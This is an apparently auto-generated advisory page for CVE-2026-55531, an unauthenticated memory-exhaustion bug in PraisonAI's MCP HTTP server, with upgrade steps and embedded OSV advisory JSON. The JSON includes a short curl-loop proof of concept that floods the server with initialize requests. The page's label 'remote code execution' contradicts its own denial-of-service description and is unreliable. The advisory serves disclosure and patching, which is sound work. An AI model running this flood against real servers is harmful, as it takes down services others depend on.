CVE-2026-55531: PraisonAI Remote Code Execution Vulnerability
MODERATECVE-2026-55531 is a MODERATE (CVSS 6.5) remote code execution vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting PraisonAI libraries in the PyPI ecosystem. The issue involves praisonai mcp http server has unauthenticated unbounded session accumulation (memory exhaustion; session ttl never enforced). Remediation is available by upgrading affected packages to version 4.6.58.
CVE-2026-55531 at a Glance
Security Impact
CVSS: 6.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H).
How to Fix CVE-2026-55531
To remediate this vulnerability, upgrade all affected PraisonAI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install PraisonAI>=4.6.58
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show PraisonAI
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-55531, inspect your installed packages using pip:
pip show PraisonAI
Analyze the terminal output to locate any version of PraisonAI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.6.58), your application is affected.
Note: The pip show PraisonAI command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In PraisonAI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-55531 Affected PraisonAI Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
PraisonAI
|
PyPI |
< 4.6.58
|
4.6.58
|
References
Frequently Asked Questions
What is CVE-2026-55531?
Which PraisonAI versions are affected?
What version fixes CVE-2026-55531?
Is PraisonAI affected?
What is the CVSS score of CVE-2026-55531?
What CWE is associated with CVE-2026-55531?
How can I check PyPI dependencies for CVE-2026-55531?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-wv94-5qcp-6m36",
"modified" : "2026-08-25T14:34:28Z",
"published" : "2026-08-25T14:34:28Z",
"aliases" : [ "CVE-2026-55531" ],
"summary" : "PraisonAI MCP HTTP server has unauthenticated unbounded session accumulation (memory exhaustion; session TTL never enforced)",
"details" : "### Summary\n\nThe PraisonAI MCP HTTP-stream server creates a new in-memory session on every initialize request and never removes it. The cleanup routine that would expire sessions (_cleanup_sessions) is defined but never called anywhere in the codebase, and the configured session TTL is never enforced. There is no cap on the number of sessions. Because initialize requires no authentication and the server keeps every session dictionary forever, an attacker who can reach the endpoint (directly when the server is bound to a routable address, or from a victim's browser via the separate Origin-validation bypass) can drive memory usage up without bound until the process is killed by the out-of-memory killer. The same unbounded-growth pattern also applies to the cancelled-requests set populated by notifications/cancelled.\n\n### Details\n\nIn transports/http_stream.py, each initialize creates and stores a session with no limit:\n\n```python\nif body.get(\"method\") == \"initialize\":\n new_session_id = str(uuid.uuid4())\n self._sessions[new_session_id] = {\n \"created_at\": time.time(),\n \"last_activity\": time.time(),\n }\n```\n\nA cleanup method exists:\n\n```python\ndef _cleanup_sessions(self) -> None:\n now = time.time()\n expired = [sid for sid, data in self._sessions.items()\n if now - data[\"last_activity\"] > self.session_ttl]\n for sid in expired:\n del self._sessions[sid]\n```\n\nbut grep across the package shows it has no call sites: it is never invoked on a timer, on request handling, or from any background task. self.session_ttl (default 3600) is stored and otherwise unused. There is no maximum-session check anywhere on the write path. As a result self._sessions grows monotonically for the lifetime of the process.\n\ninitialize is unauthenticated: in mcp_post the API-key check is skipped when no key is configured (the default), and initialize does not require a prior session. The Origin check is the only gate, and a request with no Origin header is allowed; additionally the Origin allowlist is bypassable (see the companion report on the startswith Origin-validation bypass), so the endpoint is reachable from a malicious web page as well as directly.\n\nThe server-side cancellation set in server.py has the same defect:\n\n```python\nif method == \"notifications/cancelled\":\n request_id = params.get(\"requestId\")\n if request_id:\n self._cancelled_requests.add(str(request_id)) # never cleared\n```\n\nself._cancelled_requests is an unbounded set that is added to but never pruned.\n\n### PoC\n\nscripts/poc_mcp_session_dos.sh. Start the server (default config, no API key):\n\n```\npraisonai mcp serve --transport http-stream --host 127.0.0.1 --port 8080\n```\n\nSend repeated initialize requests and watch the active session count grow:\n\n```bash\nfor i in $(seq 1 200); do\n curl -s -o /dev/null -X POST http://127.0.0.1:8080/mcp \\\n -H 'Content-Type: application/json' -H 'Origin: http://localhost' \\\n -d '{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"initialize\",\"params\":{\"protocolVersion\":\"2025-06-18\",\"capabilities\":{},\"clientInfo\":{\"name\":\"x\",\"version\":\"1\"}}}'\ndone\ncurl -s http://127.0.0.1:8080/health\n```\n\nObserved on 4.6.52 after 200 requests:\n\n```\n{\"status\":\"healthy\",\"server\":\"praisonai\",\"version\":\"1.0.0\",\"protocol_version\":\"2025-11-25\",\"active_sessions\":200}\n```\n\nThe count rises by one per request and never decreases; there is no TTL expiry and no cap. Sustained requests grow the process resident set without bound. Each session also retains any SSE event history keyed by session id, amplifying the per-session footprint.\n\n### Impact\n\nAn unauthenticated client can exhaust the memory of the host running the MCP server, leading to denial of service (the process is terminated by the OOM killer, taking down the agent endpoint). When the server is bound to a routable interface (for example --host 0.0.0.0, common in containers), this is a direct remote unauthenticated DoS. With the default localhost bind, it is reachable from any web page the operator visits, because initialize is unauthenticated and the Origin gate is bypassable. The defect is a missing cleanup wiring plus the absence of any session cap, so it manifests even under benign long-running use.\n\n### Remediation\n\nEnforce the session TTL and cap the number of concurrent sessions: call _cleanup_sessions periodically (a background asyncio task, or opportunistically on each request) and reject new sessions with a 429/503 once a configurable maximum is reached. Bound _cancelled_requests similarly (for example an LRU or a periodic prune keyed by age), since it is also never cleared. Require authentication by default on the HTTP-stream transport so that anonymous clients cannot create sessions at all.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "PraisonAI"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "4.6.58"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-wv94-5qcp-6m36"
}, {
"type" : "WEB",
"url" : "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/MervinPraison/PraisonAI"
}, {
"type" : "WEB",
"url" : "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-400", "CWE-770" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-08-25T14:34:28Z",
"nvd_published_at" : null
}
}